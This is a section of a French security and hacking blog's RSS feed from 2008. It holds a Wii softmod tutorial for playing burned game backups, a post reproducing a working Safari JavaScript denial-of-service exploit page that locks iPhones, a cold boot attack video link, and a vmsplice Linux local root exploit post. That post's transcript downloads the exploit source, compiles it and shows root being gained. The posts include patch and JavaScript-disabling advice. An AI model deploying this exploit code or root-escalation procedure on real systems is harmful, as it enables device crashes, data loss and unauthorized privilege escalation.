href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_2.jpg"><img class="alignnone size-thumbnail wp-image-451" title="wiipatchtuto_2" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_2-430x125.jpg" alt="wiipatchtuto_2" width="430" height="125" /></p><p></a></li><li>Après avoir appuyez sur &laquo;&nbsp;<strong>A+B</strong>&nbsp;&raquo; choisissez la sauvegarde nommée &laquo;&nbsp;<strong>Twilight Hack</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_3.jpg"><img class="alignnone size-thumbnail wp-image-452" title="wiipatchtuto_3" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_3-430x125.jpg" alt="wiipatchtuto_3" width="430" height="125" /></p><p></a></li><li>Une fois dans le jeu , reculez de quelques pas, ou allez parler à la personne en face de vous,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_4.jpg"><img class="alignnone size-thumbnail wp-image-453" title="wiipatchtuto_4" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_4-430x125.jpg" alt="wiipatchtuto_4" width="430" height="125" /></p><p></a></li><li>Votre écran devient noir avec plusieurs phrases en blanche,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_5.jpg"><img class="alignnone size-thumbnail wp-image-454" title="wiipatchtuto_5" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_5-430x125.jpg" alt="wiipatchtuto_5" width="430" height="125" /></p><p></a></li><li>suivez les instructions ;<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_6.jpg"><img class="alignnone size-thumbnail wp-image-455" title="wiipatchtuto_6" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_6-430x125.jpg" alt="wiipatchtuto_6" width="430" height="125" /></p><p></a></li><li>votre Wii redémarre et vous avez une nouvelle chaine sur votre menu Wii qui se     nomme &nbsp;&raquo;<strong>the homebrew channel</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_7.jpg"><img class="alignnone size-thumbnail wp-image-456" title="wiipatchtuto_7" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_7-430x125.jpg" alt="wiipatchtuto_7" width="430" height="125" /></p><p></a></li><li>La chaîne est désormais installée.<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_8.jpg"><img class="alignnone size-thumbnail wp-image-457" title="wiipatchtuto_8" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_8-430x125.jpg" alt="wiipatchtuto_8" width="430" height="125" /></a></li></ul><li><h2>3. Si votre Wii est en firmware 3.3E ou 3.4E, il va falloir le ‘downgrader’, en 3.2E, sinon, passez directement a l’étape 4.</h2><p>Pour cette étape, votre Wii devra être connecté à Internet pour deux raisons: La mise à jours de la chaîne Homebrew et le téléchargement du firmware 3.2E.</li><ul><li>Lancez la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp; (La chaîne va chercher une mise à jour, n&#8217;hésitez pas à l&#8217;appliquer),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_9.jpg"><img class="alignnone size-thumbnail wp-image-458" title="wiipatchtuto_9" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_9-430x125.jpg" alt="wiipatchtuto_9" width="430" height="125" /></p><p></a></li><li>Lancez &laquo;&nbsp;<strong>Wad Manager v1.3</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_10.jpg"><img class="alignnone size-thumbnail wp-image-461" title="wiipatchtuto_10" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_10-430x125.jpg" alt="wiipatchtuto_10" width="430" height="125" /></p><p></a></li><li>installez &laquo;&nbsp;<strong>IOS16-64-v257-prod.wad</strong>&nbsp;&raquo; avec la touche &laquo;&nbsp;<strong>+</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_11.jpg"><img class="alignnone size-thumbnail wp-image-462" title="wiipatchtuto_11" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_11-430x125.jpg" alt="wiipatchtuto_11" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lancez &laquo;&nbsp;<strong>Wad Manager IOS 16</strong>&nbsp;&raquo; et installez &laquo;&nbsp;CIOS Fix&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_12.jpg"><img class="alignnone size-thumbnail wp-image-463" title="wiipatchtuto_12" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_12-430x125.jpg" alt="wiipatchtuto_12" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lancez &laquo;&nbsp;<strong>Cios-Downgrader</strong>&nbsp;&raquo; pour downgrader votre Wii en <strong>3.2E (le E est très important, il signifie Européen)</strong>,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_13.jpg"><img class="alignnone size-thumbnail wp-image-464" title="wiipatchtuto_13" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_13-430x125.jpg" alt="wiipatchtuto_13" width="430" height="125" /></p><p></a></li><li>Revenez à la chaîne &nbsp;&raquo;<strong>the homebrew channel</strong>&nbsp;&raquo; et enfin, lancez &laquo;&nbsp;<strong>IOS Downgrader V1</strong>&laquo;&nbsp;.</li></ul><li><h2>4. Installation du cIOS 0.3 Gamma de Wiigator.</h2></li><ul><li>Lancez la chaîne &laquo;&nbsp;<strong>the homebrew channel</strong>&laquo;&nbsp;, lançez &laquo;&nbsp;<strong>cIOS Rev7</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_14.jpg"><img class="alignnone size-thumbnail wp-image-465" title="wiipatchtuto_14" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_14-430x125.jpg" alt="wiipatchtuto_14" width="430" height="125" /></p><p></a></li><li>Choisissez &laquo;&nbsp;<strong>wad installation</strong>&nbsp;&raquo; (ou &laquo;&nbsp;network&nbsp;&raquo; pour avoir la dernière mise à jours, si vous êtes connecté en wifi), suivez les indications, en sachant que le bouton 1 de la wiimote correspond à &laquo;&nbsp;accept&nbsp;&raquo;, le 2 à &laquo;&nbsp;cancel&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_15.jpg"><img class="alignnone size-thumbnail wp-image-466" title="wiipatchtuto_15" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_15-430x125.jpg" alt="wiipatchtuto_15" width="430" height="125" /></p><p></a></li><li>Sélectionnez le firmware 3.2E et installez le (la liste continue vers le bas, il suffit de descendre&#8230;),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_16.jpg"><img class="alignnone size-thumbnail wp-image-467" title="wiipatchtuto_16" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_16-430x125.jpg" alt="wiipatchtuto_16" width="430" height="125" /></p><p></a></li><li>Une fois terminée , revenez sur la chaîne the homebrew channel, lancez &laquo;&nbsp;<strong>Channel File Manager 2.0 beta 2</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_17.jpg"><img class="alignnone size-thumbnail wp-image-468" title="wiipatchtuto_17" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_17-430x125.jpg" alt="wiipatchtuto_17" width="430" height="125" /></p><p></a></li><li>Suivez les instructions et installez le fichier &laquo;&nbsp;<strong>[Chaîne] Backup Launcher 0.3 Gamma Autoboot</strong>&laquo;&nbsp;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_18.jpg"><img class="alignnone size-thumbnail wp-image-469" title="wiipatchtuto_18" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_18-430x125.jpg" alt="wiipatchtuto_18" width="430" height="125" /></p><p></a></li><li>Vous avez désormais une nouvelle chaîne sur votre menu Wii , celle-ci permet de lancer les backups sur votre Wii, vous pouvez relancer la &laquo;&nbsp;channel file manager&nbsp;&raquo; pour installer toutes les applications wad dont vous aurez besoin (ex: dans le pack, il y a un lecteur audio/video, &laquo;&nbsp;Mplayer&nbsp;&raquo;).</li></ul><li><h2>3. Installation de la protection contre le brick et les mises à jours automatiques de votre Wii.</h2></li><p>(Optionnelle , uniquement pour les Wii en 3.2E , empêche les mises à jours automatique de Nintendo)</p><ul><li>Allez dans la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;, lancez &laquo;&nbsp;Starfall&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_19.jpg"><img class="alignnone size-thumbnail wp-image-470" title="wiipatchtuto_19" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_19-430x125.jpg" alt="wiipatchtuto_19" width="430" height="125" /></p><p></a></li><li>appuyez simultanément sur &laquo;&nbsp;B+1&#8243; et pas &laquo;&nbsp;B+2&#8243; (C&#8217;est une erreur de programmeur),<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_20.jpg"><img class="alignnone size-thumbnail wp-image-471" title="wiipatchtuto_20" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_20-430x125.jpg" alt="wiipatchtuto_20" width="430" height="125" /><br /> </a></li><li>Un nouveau menu apparait, sélectionnez les 3 dernières options et appuyez sur avec &laquo;&nbsp;A&nbsp;&raquo; avec chacune d&#8217;elle pour que ça affiche &laquo;&nbsp;Install&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_21.jpg"><img class="alignnone size-thumbnail wp-image-472" title="wiipatchtuto_21" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_21-430x125.jpg" alt="wiipatchtuto_21" width="430" height="125" /><br /> </a></li><li>Une fois que les 3 dernières options ont été appliquées , appuyez sur &laquo;&nbsp;2&#8243;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_22.jpg"><img class="alignnone size-thumbnail wp-image-473" title="wiipatchtuto_22" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_22-430x125.jpg" alt="wiipatchtuto_22" width="430" height="125" /><br /> </a></li><li>Éteignez votre Wii, Branchez votre manette Gamecube,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_23.jpg"><img class="alignnone size-thumbnail wp-image-474" title="wiipatchtuto_23" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_23-430x125.jpg" alt="wiipatchtuto_23" width="430" height="125" /><br /> </a></li><li>Allumez votre Wii en maintenant appuyer le bouton &laquo;&nbsp;Y&nbsp;&raquo; de la manette, Un écran noir s&#8217;affiche indiquant &laquo;&nbsp;3.2E&nbsp;&raquo;,<br /> <a href="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_24.jpg"><img class="alignnone size-thumbnail wp-image-475" title="wiipatchtuto_24" src="http://www.crashdump.fr/wp-content/uploads/2008/12/wiipatchtuto_24-430x125.jpg" alt="wiipatchtuto_24" width="430" height="125" /><br /> </a></li><li>L&#8217;installation de la protection contre le brick de votre Wii est terminée.</li></ul><li><h2>4. Questions/Réponses</h2></li><li><strong>1. Comment graver mes jeux ?</strong></li><p>Utilisez la fonction ‘graver l’image’ de votre logiciel préfère (pas de problème avec imgburn ou nero). Lancez la gravure a la vitesse la plus basse possible, et uniquement sur des DVD -R2. Comment jouer à mes backups ?<br /> - Lancez la chaîne &laquo;&nbsp;Backup Channel&nbsp;&raquo;,<br /> - Faîtes &laquo;&nbsp;Demarrer&nbsp;&raquo;.</p><li><strong>2. J&#8217;ai une erreur &laquo;&nbsp;file boot.dol not found (-1)&nbsp;&raquo; lors de l&#8217;exploit du twilight hack, que faire ?</strong></li><p>- Utilisez les packs disponibles ici, ils sont cohérent, si vous en utilisez d&#8217;autres je ne pourrais sûrement pas vous aider.<br /> - Vérifiez que vôtre carte SD est bien formatée en FAT32 (voir FAT16).<br /> - Si vôtre carte SD fait plus de 2Go ou qu&#8217;elle est SDHC, cela peu poser des problèmes.. essayez avec une autre.</p><li><strong>3. Comme tout désinstaller pour que ma Wii redevienne comme avant ?</strong></li><p>- Mettez votre carte SD dans votre Wii,<br /> - Lancez la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Lancez &laquo;&nbsp;Channel File Manager 2.0 beta 2&#8243;,<br /> - Suivez les instructions pour désinstaller le fichier &laquo;&nbsp;[Chaine] Backup Launcher 0.3 Gamma Autoboot&nbsp;&raquo;.<br /> - Revenez à la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Lancez &laquo;&nbsp;cIOS Uninstaller&nbsp;&raquo;,<br /> - Revenez au menu Wii,<br /> - Allez dans : &laquo;&nbsp;(Wii)&nbsp;&raquo; [En bas à gauche] &#8211;&gt; &laquo;&nbsp;Gestion des données&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Données de sauvegarde&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Wii&nbsp;&raquo; &#8211;&gt; Supprimez la sauvegarde ‘Twilight Hack’,<br /> - Allez dans : &laquo;&nbsp;(Wii)&nbsp;&raquo; [En bas à gauche] &#8211;&gt; &laquo;&nbsp;Gestion des données&nbsp;&raquo; &#8211;&gt; &laquo;&nbsp;Chaînes&nbsp;&raquo; &#8211;&gt; Supprimez la chaîne &laquo;&nbsp;the homebrew channel&nbsp;&raquo;,<br /> - Faites un formatage de votre Wii,<br /> - Votre wii est comme neuve.</p><li><strong>4. Que faire si ma Wii est brickée ?</strong></li><p>- Mettez la carte SD dans votre Wii,<br /> - Éteignez votre Wii,<br /> - Branchez votre manette Gamecube,<br /> - Allumez votre wii en maintenant le bouton &laquo;&nbsp;Y&nbsp;&raquo; appuyé,<br /> - Lancez la sauvegarde &laquo;&nbsp;Twilight Hack&nbsp;&raquo;,<br /> - Parlez à la personne en face de vous,<br /> - Suivez les instructions,<br /> - Downgradez ou Upgradez votre console en la version désiré mais en version &laquo;&nbsp;E&nbsp;&raquo;,<br /> - Votre Wii est désormais réparée.</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/tout-et-rien/lire-les-jeux-graves-sur-une-wii-methode-logicielle-446/feed/</wfw:commentRss> <slash:comments>169</slash:comments> </item> <item><title>iPhone &#8211; Exploit DoS Safari, ça commence !</title><link>http://www.crashdump.fr/iphone/iphone-exploit-dos-safari-ca-commence-99/</link> <comments>http://www.crashdump.fr/iphone/iphone-exploit-dos-safari-ca-commence-99/#comments</comments> <pubDate>Wed, 23 Apr 2008 16:33:54 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[iPhone]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[code]]></category> <category><![CDATA[crash]]></category> <category><![CDATA[DoS]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[Georgi Guninski]]></category> <category><![CDATA[remote execution]]></category> <category><![CDATA[Safari]]></category> <category><![CDATA[verrouillage]]></category><guid isPermaLink="false">http://blog.crashdump.fr/?p=99</guid> <description><![CDATA[l&#8217;iPhone est censé être une plateforme sécurisé tant les données qui peuvent être stockées sur la machine sont confidentielles &#8211; imaginez que n&#8217;importe qui puisse avoir accès a vos contact, mail ou sms. Apple a du faire de son mieux, mais rien n&#8217;est parfait. Un exploit touchant le navigateur web (Safari) a été découvert récemment, [...]]]></description> <content:encoded><![CDATA[<p>l&#8217;iPhone est censé être une plateforme sécurisé tant les données qui peuvent être stockées sur la machine sont confidentielles &#8211; imaginez que n&#8217;importe qui puisse avoir accès a vos contact, mail ou sms. Apple a du faire de son mieux, mais rien n&#8217;est parfait. Un exploit touchant le navigateur web (Safari) a été découvert récemment, un exploit dangereux pour ce smart phone, tant au niveau sécurité que au niveau de la mauvaise publicité qui peut en découler.</p><p>Le code que je vous propose ci dessous n&#8217;est pas complet, il a été modifié depuis l&#8217;une des premières version de l&#8217;exploit pour Safari sur Mac. Il suffit de se rendre sur la page contenant  le code malicieux avec votre iPhone pour qu&#8217;il le verrouille.<br /> <span id="more-99"></span></p><li><h2>remote execution DoS vulnerability:</h2></li><p><em>Le code que je met a votre disposition ici l&#8217;est juste a titre d&#8217;exemple (de même pour la page de test..), je ne serais donc pas responsable &#8211; quoi qu&#8217;il se passe &#8211; de ce qu&#8217;il pourrais arriver si vous ouvrez la page. Si vous voulez quand même tenter l&#8217;aventure, gardez a l&#8217;esprit que l&#8217;iPhone va complètement se verrouiller et vous perdrez donc toutes les données des applications lancées a ce moment là.</em></p><div class="codecolorer-container text default javascript" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;html&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; Copyright Georgi Guninski<br /> &nbsp; &nbsp; &nbsp; &nbsp; &lt;br&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; Cannot be used in vulnerability databases<br /> &nbsp; &nbsp; &nbsp; &nbsp; &lt;br&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; Especially securityfocus/mitre/cve/cert<br /> &nbsp; &nbsp; &nbsp; &nbsp; &lt;script&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; var s=String.fromCharCode(257);<br /> &nbsp; &nbsp; &nbsp; &nbsp; var ki=&quot;&quot;;<br /> &nbsp; &nbsp; &nbsp; &nbsp; var me=&quot;&quot;;<br /> &nbsp; &nbsp; &nbsp; &nbsp; for(i=0; i&lt;1024; i++){<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ki=ki+s;<br /> &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; for(i=0; i&lt;1024; i++){<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; me=me+ki;<br /> &nbsp; &nbsp; &nbsp; &nbsp; }<br /> &nbsp; &nbsp; &nbsp; &nbsp; var ov=s;<br /> &nbsp; &nbsp; &nbsp; &nbsp; for(i=0; i&lt;28; i++) ov += ov;<br /> &nbsp; &nbsp; &nbsp; &nbsp; for(i=0; i&lt;88; i++) ov += me;<br /> &nbsp; &nbsp; &nbsp; &nbsp; alert(&quot;done generating&quot;);<br /> &nbsp; &nbsp; &nbsp; &nbsp; var fuckbill=escape(ov);<br /> &nbsp; &nbsp; &nbsp; &nbsp; alert(&quot;done escape&quot;);<br /> &nbsp; &nbsp; &nbsp; &nbsp; alert(fuckbill);<br /> &nbsp; &nbsp; &nbsp; &nbsp; &lt;/script&gt;<br /> &lt;/html&gt;</div></td></tr></tbody></table></div><p>La vulnérabilité a été testée sur un firmware 1.1.4, mais elle est surement exploitable sur des versions antérieures (Laissez moi donc un commentaire si vous l&#8217;avez testé !).</p><p>Malheureusement les firmwares ne sont mis a jours que très rarement sur l&#8217;iPhone et même si l&#8217;exploit a déjà été fixé sur les autres plateformes, il faudra surement attendre la &laquo;&nbsp;version 2&#8243; (surement cet été) pour pouvoir en profiter ! Je vous conseille donc de désactiver le Javascript.</p><p>Voici le lien pour télécharger le code au format texte.<br /> Qu&#8217;importe les risques, vous voulez tenter l&#8217;aventure ? Cliquez ici ! (Attention, le simple fait de charger la page va exécuter le code malicieux !)</p><p>Même si la faille a été corrigée sur les dernières version de Safari disponibles au téléchargement, la version iPhone est toujours vulnérable.. on espère donc une mise a jours rapide de notre navigateur mobile préféré !</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/iphone/iphone-exploit-dos-safari-ca-commence-99/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Cold Boot Attack on Encryption Keys</title><link>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/</link> <comments>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/#comments</comments> <pubDate>Wed, 27 Feb 2008 08:22:29 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Sécurité]]></category> <category><![CDATA[attaque]]></category> <category><![CDATA[Encryption]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[froid]]></category> <category><![CDATA[mémoire]]></category><guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/27/cold-boot-attack-on-encryption-keys/</guid> <description><![CDATA[Vu sur: http://citp.princeton.edu/memory/]]></description> <content:encoded><![CDATA[<p><object width="425" height="350" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/JDaicPIgn9U" /><embed width="425" height="350" type="application/x-shockwave-flash" src="http://www.youtube.com/v/JDaicPIgn9U" /></object><br /> Vu sur: <a rel="nofollow" href="http://web.archive.org/web/20110429202434/http://citp.princeton.edu/memory/">http://citp.princeton.edu/memory/</a></p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/cold-boot-attack-on-encryption-keys-87/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Vmsplice root exploit</title><link>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/</link> <comments>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/#comments</comments> <pubDate>Tue, 12 Feb 2008 08:40:28 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Sécurité]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[By]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[root]]></category> <category><![CDATA[vmsplice]]></category><guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/12/vmsplice-root-exploit/</guid> <description><![CDATA[Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant. 12$ uname -smr Linux 2.6.23.16.. i686 Voici un exemple d&#8217;utilisation : 123456789101112131415161718192021$ cd /tmp $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c $ gcc -o rootexploit rootexploit.c $ [...]]]></description> <content:encoded><![CDATA[<p>Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant.</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.23.16.. i686</div></td></tr></tbody></table></div><p>Voici un exemple d&#8217;utilisation :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ cd /tmp<br /> $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c<br /> $ gcc -o rootexploit rootexploit.c<br /> $ ./rootexploit<br /> -----------------------------------<br /> Linux vmsplice Local Root Exploit<br /> By qaaz<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dee000 .. 0xb7e20000<br /> [+] root<br /> Exploit gone!<br /> # id -u<br /> 0</div></td></tr></tbody></table></div><p><span id="more-70"></span><br /> &#8230; voila qui est plutôt grave, mettez donc a jour vos kernel:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.24.2.. i686</div></td></tr></tbody></table></div><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ./rootexploit<br /> -----------------------------------<br /> &nbsp;Linux vmsplice Local Root Exploit<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dfc000 .. 0xb7e2e000<br /> [-] vmsplice: Bad address<br /> $ id -u<br /> 1000</div></td></tr></tbody></table></div><p>De plus, on pourrais imaginer une utilisation de cet exploit via des scripts cgi, php,.. Mal programmé &#8211; En exploitant une faille include &#8211; Et la je vous laisse imaginer le drame !</p><p>Un petit conseil donc: Mettez votre système à jour régulièrement !</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Served from: www.crashdump.fr @ 2012-02-04 20:20:42 by W3 Total Cache -->
